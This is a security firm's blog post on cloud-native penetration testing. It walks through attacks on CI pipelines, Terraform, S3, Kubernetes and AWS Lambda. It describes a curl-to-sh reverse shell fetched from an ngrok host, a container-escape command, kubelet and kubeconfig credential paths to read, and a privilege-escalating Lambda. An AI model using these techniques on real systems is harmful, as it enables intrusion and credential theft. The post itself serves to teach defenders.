Member post originally published on SighUP’s blog by Simone Ragonesi
Discover all you need to know about Cloud-Native Vulnerability Assessment and Penetration Testing (VAPT) with practical examples.
Introduction
This article embarks on a journey into the realm of Cloud-Native VAPT, exploring the purpose, methodologies, and significance of securing cloud-native environments.
As businesses harness the power of cloud computing they are simultaneously exposed to a new set of vulnerabilities and threats.
Understanding and mitigating these risks is paramount to safeguarding sensitive information and ensuring the resilience of modern digital infrastructures.
What is VAPT?
VAPT stands for Vulnerability Assessment and Penetration Testing. It is a comprehensive security testing methodology that helps identify vulnerabilities and weaknesses in computer systems, networks, and applications.
It consists of two different macro phases:
- The Vulnerability Assessment phase involves scanning and assessing the target system for potential vulnerabilities.
This can include network scanning, system profiling, and vulnerability scanning. The goal is to identify any weaknesses that could be exploited by attackers. - The Penetration Testing phase begins once vulnerabilities are identified. This involves actively attempting to exploit the identified vulnerabilities to gain unauthorized access or perform malicious activities.
Types of VAPT
There are three different types of VAPT you can choose based on your objectives, needs, and use case scenario.
Let’s have a quick view of them before proceeding to the benefits related to this methodology.
White Box Testing
In this assessment, the client provides server information, network particulars, operating system specifications, application details, protocols, and even credentials for application or system users.
The primary objective of this examination is to identify internal threats within the organization, specifically those arising from the actions of the company’s personnel.
Black Box Testing
In this examination, the customer refrains from furnishing antecedent details concerning their networks, applications, or systems.
The principal objective of this assessment is to ascertain vulnerabilities originating from external sources and to analyze how malicious external actors may exploit these vulnerabilities to compromise systems.
Hybrid Testing
This test is a mixture of both white-box testing and black-box testing, and its scope is to explore any internal and external threat or vulnerability to be sure to be able to prevent any attack regardless of the source.
Benefits of VAPT
VAPT is an important process for organizations to proactively identify and address security risks and to obtain concrete advantages like:
- Proactive Threat Detection: VAPT identifies vulnerabilities before attackers can exploit them.
It helps you stay one step ahead of cyber threats. - Cost Savings: Preventing breaches is more cost-effective than dealing with the aftermath.
VAPT reduces the risk of financial losses and regulatory fines. - Enhanced Reputation: Protecting customer data and maintaining uptime builds trust.
A strong security posture enhances your brand’s reputation. - Compliance: VAPT helps meet regulatory and compliance requirements.
It ensures your cloud infrastructure aligns with industry standards.
VAPT in the Cloud
In today’s rapidly evolving digital landscape, organizations are increasingly adopting cloud-native architectures and flows to harness the benefits of scalability, flexibility, and reproducibility.
Infrastructures are increasingly distributed across on-prem sites and various cloud providers (hybrid cloud), and the perimeter is becoming thinner, more abstract, and harder to recognize.
The landscape of infrastructure has evolved beyond its traditional physical confines and has transitioned into the realm of code. In this dynamic state, boundaries within software-defined architecture are increasingly ambiguous, ushering in a constant state of change. This shift poses novel challenges, particularly in the domains of cybersecurity and data privacy. Securing systems that are dynamic and constantly evolving poses a significant challenge and requires first-principle reasoning and consistent planning from day zero.
Cloud Security Posture Management (CSPM)
Cloud Security Posture Management, or CSPM, is a set of security tools and practices designed to ensure the secure configuration of cloud resources and services.
It can be viewed as an essential subset within a comprehensive VAPT strategy, with a specific emphasis on the VA (Vulnerability Assessment) part.
It involves monitoring cloud infrastructure for misconfigurations, vulnerabilities, and compliance with security best practices and industry regulations.
CSPM tools help organizations maintain a strong security posture in their cloud environments by providing visibility into potential risks and suggesting remediation actions.
There are various Software as a Service (SaaS) solutions that provide real-time CSPM functionalities, one of them is Sysdig Secure:
These tools constitute valuable assets for companies; nevertheless, a drawback associated with them is that the license fees are often quite expensive, making them inaccessible for many small businesses and start-ups.
Within the Cloud Native Security Team at SIGHUP, we have developed our proprietary multitenant CSPM tool.
This tool is compliant with aws, gcp,software and azure and is designed to generate monthly CSPM reports, facilitating collaborative discussions with clients and establishing remediation plans based on shared insights.
Cloud Native VAPT: practical examples
In this paragraph, we will delve into some practical and heterogeneous examples of real-world cases to demonstrate how to conduct penetration testing and attacks in cloud-native environments.
It is important to note that individuals performing these operations are commonly referred to as ethical hackers or white hat hackers.
They distinguish themselves from malicious actors because they have obtained formal permission from system owners and stakeholders to carry out such activities, with the goal of enhancing security rather than causing harm.
Notwithstanding this, the tools and techniques employed by ethical hackers are similar, albeit less compromising, as those used by malicious hackers:
to excel as a penetration tester, it is crucial to possess a comprehensive understanding of adversarial thinking and the current state-of-the-art techniques employed.
Sdlc & Supply Chain
Let’s begin by examining the software development lifecycle (SDLC).
As security increasingly moves towards the development phase through the “shift left” paradigm, attackers are also increasingly targeting the early stages of the SDLC. In this regard, we have witnessed a steep rise in attacks on the supply chain in recent years.
Malicious actors are focusing more and more on version control systems and CI/CD pipelines.
One of the most widely used Version Control Systems (VCS) globally is GitHub. It hosts thousands of open-source projects of significant adoption and importance, such as Kubernetes. Consequently, it is commonplace for hackers to seek ways to infiltrate the Continuous Integration/Continuous Deployment flows of these software, with a particular focus on targeting GitHub Actions. For example, here is a proof of concept of how an attacker that has gained edit access to Github actions can modify one in order to execute a reverse shell inside one of the CI steps:
The purpose of this modified step is to obtain and execute a reverse shell script.
A reverse shell allows a connection from the target machine (where this GitHub Actions workflow is running) back to the machine specified in the URL.
In this case, it’s a shell command that uses curl to download a script from https://reverse-shell.sh/2.tcp.ngrok.io:15217 and then pipes it to sh for execution.
The sh -c is used to run the command in a subshell.
Having a shell inside the pipeline runner, the attacker can easily exfiltrate AWS secrets stored in the environment variables of the action’s runner. The same technique can be employed to communicate with command and control servers. This example illustrates the critical importance of conducting assessments and penetration testing on our CI/CD engines and workflows, particularly when maintaining critical open-source projects. It is also crucial to conduct thorough assessments of the entire supply chain, leveraging robust frameworks such as S2C2F.
Infrastructure as Code
Infrastructure as Code (IaC) is a pivotal concept in modern software development and system administration, emphasizing the use of declarative or imperative scripts to automate the provisioning and management of infrastructure components.
This approach enables developers and operations teams to define and deploy infrastructure elements such as servers, networks, and storage in a consistent and repeatable manner.
The significance of securing IaC code lies in its role as the blueprint for the entire infrastructure.
As organizations increasingly adopt cloud services and dynamic environments, vulnerabilities in IaC scripts could lead to serious security risks, including unauthorized access, data breaches, or service disruptions. In the realm of IaC, Terraform stands out as a widely adopted and powerful tool. Terraform is a provisioning tool that allows users to define and manage infrastructure using a declarative configuration language.
Given that through Terraform, by embracing a GitOps approach, it is possible to centralize the management of the entire cloud infrastructure, securing the code becomes of utmost criticality.
Here is an example of how Terraform can be employed for malicious purposes.
Individuals have the ability to create a personalized Terraform provider and make it accessible on the Terraform Registry. Alternatively, one could attempt to retrieve a custom provider from a private registry.
The process that malicious actor may follow involves:
- Developing a custom provider capable of executing malicious code, such as extracting credentials or customer data.
- Uploading the provider to the Terraform Registry.
- Integrating the provider into the Terraform code within a designated feature branch.
- Open a pull request for the said feature branch.
As the provider is instantiated during initialization and executes certain code during the planning phase, arbitrary code execution becomes possible.
An alternative method for attackers to exploit Terraform involves utilizing the Terraform external provider, which serves as a bridge between Terraform and external applications.
By employing the external data source, one can execute custom code during the planning phase.
Embedding something similar to the following in a Terraform configuration file will trigger the execution of a reverse shell when running the terraform plan command:
These examples demonstrate how the proper assessment and penetration testing of Infrastructure as Code (IaC) manifests form the foundation of any sound and secure infrastructure.
aws S3
S3 is one of the most widely used AWS services, and for good reasons: S3 offers an elastic, agnostic, and distributed solution for cloud storage. Through S3, it is possible to store and serve media files, static web pages, OCI images, binaries, text files, and much more. However, S3 can be a double-edged sword and pose a significant security risk if not properly configured. Let’s see how dangerous it can be with an example of such misconfigurations.
Let’s imagine that a client has requested us to perform a Black Box VAPT on a web service accessible at the URL https://greatwebservice.io.The initial step involves conducting a DNS lookup:
Now let’s execute a reverse DNS resolution on that IP address (We can also employ Shodan for this type of information gathering activity):
As we can see, the web service is likely a static web page exposed through aws S3.
Let’s try to list it’s content via aws cli:
We are exceptionally fortunate; despite our local aws cli not being authenticated with the customer’s account, we are still able to list the contents of that bucket. It is likely that the customer lacks a robust Cloud Security Posture Management strategy and may not have realized that the bucket has been configured with excessively permissive grants, potentially allowing any authenticated AWS client (from any AWS account) access to the bucket.
Furthermore, we observe the presence of a ‘.git‘ repository within the bucket. This could be of interest as it provides us with the opportunity to download the contents locally and subsequently explore the Git history.
We observe that in the Git history, there is a highly suspicious commit message:
Deleted AWS keys
This leads us to suspect that we may find AWS keys in that commit.
Let’s proceed with checking out that specific commit in order to validate our assumptions:
We can see the access_keys.txt file, and when we inspect it, we find a pair of aws keys inside.
Now we can import them and check if they work via aws cli:
As observed, we have assumed the identity of a new IAM user and are now capable of listing buckets that were previously inaccessible.
From here, we can proceed with our penetration testing process to achieve further privilege escalation and lateral movement within the client’s AWS account.
Once again, this example underscores the critical importance of implementing robust hardening measures for cloud service configurations and emphasizes the significance of never committing secrets to Git repositories.
Kubernetes
Kubernetes has emerged as the de-facto beating heart of any truly noteworthy cloud-native infrastructure.
It stands as an open-source project, widely adopted across organizations of varying sizes worldwide.
Given its paramount role in contemporary IT infrastructure, securing it effectively is indispensable.
CRI stands for Container Runtime Interface, which is an interface between container runtimes (e.g., docker, containerd, rkt) and the Kubernetes container management system.
It allows Kubernetes to be agnostic to the underlying container runtime, enabling users to choose different runtimes without affecting their Kubernetes deployments.
An attacker who has successfully infiltrated a pod running on a Kubernetes cluster may attempt a container escape to break out of the confined context of the container and gain direct access to the underlying node with a command like this:
Let’s break down the important parts of this command:
-v /:/mnt: Mounts the root filesystem (/) of the host into the/mntdirectory within the container. This effectively gives the container access to the entire host filesystem.chroot /mnt sh: Changes the root directory to/mntwithin the container and starts a new shell (sh).
If you successfully break out of the container, you’ll uncover intriguing elements within the node:
– The Container Runtime process (Docker in this case)
– Additional pods/containers running on the node, ripe for exploitation (increased token access)
– Complete access to the filesystem and the overall operating system
– Active services such as Kube-Proxy and Kubelet, with configuration files located at:
– /var/lib/kubelet/kubeconfig
– /var/lib/kubelet/kubelet.conf
– /var/lib/kubelet/config.yaml
– /var/lib/kubelet/kubeadm-flags.env
– /etc/kubernetes/kubelet-kubeconfig
You’ll also find other common Kubernetes files:
– $HOME/.kube/config (User Config)
– /etc/kubernetes/kubelet.conf (Regular Config)
– /etc/kubernetes/bootstrap-kubelet.conf (Bootstrap Config)
– /etc/kubernetes/manifests/etcd.yaml (etcd Configuration)
– /etc/kubernetes/pki (Kubernetes Key)
Another instance of a Kubernetes attack involves the exfiltration of compromised service accounts, exploiting an inadequately hardened Role-Based Access Control (RBAC). For instance, if there exists a service account granted with ‘administrative’ privileges over cluster resources and an adversary manages to deploy a pod within the cluster, they could exfiltrate the service account using a manifest similar to the following:
The exfiltrated service account can subsequently be exploited by attackers to gain increased persistence within the cluster and advance their malicious activities. This may include, for instance, deploying applications that engage in cryptocurrency mining.
The proper hardening of Kubernetes clusters should be an absolute priority for any security team.
It is essential to establish a robust Role-Based Access Control strategy, implement proper tracing, monitoring, runtime security and leverage service meshes and admission controllers.
FaaS
Function as a Service (FaaS) is a cloud computing paradigm that enables the execution of individual functions or pieces of code in response to specific events without the need for developers to manage the underlying infrastructure.
FaaS abstracts away the complexities of server provisioning, scaling, and maintenance, allowing developers to focus solely on writing discrete units of functionality.
Each function is triggered by an event, such as an HTTP request or changes in data, and executes independently in a stateless manner.
FaaS architectures promote scalability, cost efficiency, and rapid development, making it an ideal choice for applications with variable workloads and a need for quick, event-driven responses.
Popular FaaS providers include AWS Lambda, Azure Functions, and Google Cloud Functions.
On the AWS Lambda side, an attacker with sufficient privileges (e.g. lambda:CreateFunction, iam:PassRole etc.) could exploit the Lambda function’s role permissions directly.
If the Lambda role possessed adequate permissions, it could be used to grant administrator rights to an individual; see the following example:
This lambda uses the IAM client to attach the “AdministratorAccess” policy to a specified IAM user.
In this case, the IAM user is identified by the username ‘username‘, and the policy is referenced by its Amazon Resource Name (ARN), which grants full administrator access.
Securing Function as a Service (FaaS) platforms such as AWS Lambda is of paramount importance due to several critical reasons.
First and foremost, FaaS environments execute discrete, serverless functions in response to events, making them susceptible to security vulnerabilities if not properly protected.
As these functions often handle sensitive data and perform crucial operations, any compromise could lead to unauthorized access, data breaches, or service disruptions.
Moreover, FaaS relies on shared infrastructure, and without adequate security measures, one compromised function could potentially impact others in a multi-tenant environment.
Additionally, securing FaaS is essential to mitigate the risk of malicious activities such as code injection or privilege escalation, which could exploit vulnerabilities in the code execution environment.
All the examples provided underscore the heterogeneous nature of cloud-native architectures and stacks, emphasizing the essential need for a comprehensive, holistic perspective.
We have further demonstrated the critical importance of early planning for robust security strategies and Role-Based Access Control (RBAC), adhering to the principle of least privilege.
Lastly, we have elucidated the significance of continuously testing the security of our systems through Vulnerability Assessment and Penetration Testing:
security is an ongoing process rather than a one-time effort.
SIGHUP’s Cloud Native VAPT services
At SIGHUP, our expertise extends to delivering extensive coverage across the spectrum of Vulnerability Assessment and Penetration Testing specifically tailored for cloud-native environments.
With a deep understanding of the intricacies associated with securing cloud-native infrastructures, we stand as the ideal partners to accompany and guide you through every phase of your cloud-native security journey.
Our dedicated cloud security team is equipped to meticulously identify and address vulnerabilities within your cloud-based systems, ensuring a robust and resilient security posture.
By leveraging our comprehensive services, you can navigate the evolving landscape of cloud-native security with confidence, knowing that your digital assets are fortified against potential threats.
Do you think you may benefit from our assistance in testing and securing your Cloud Native Environment? Contact us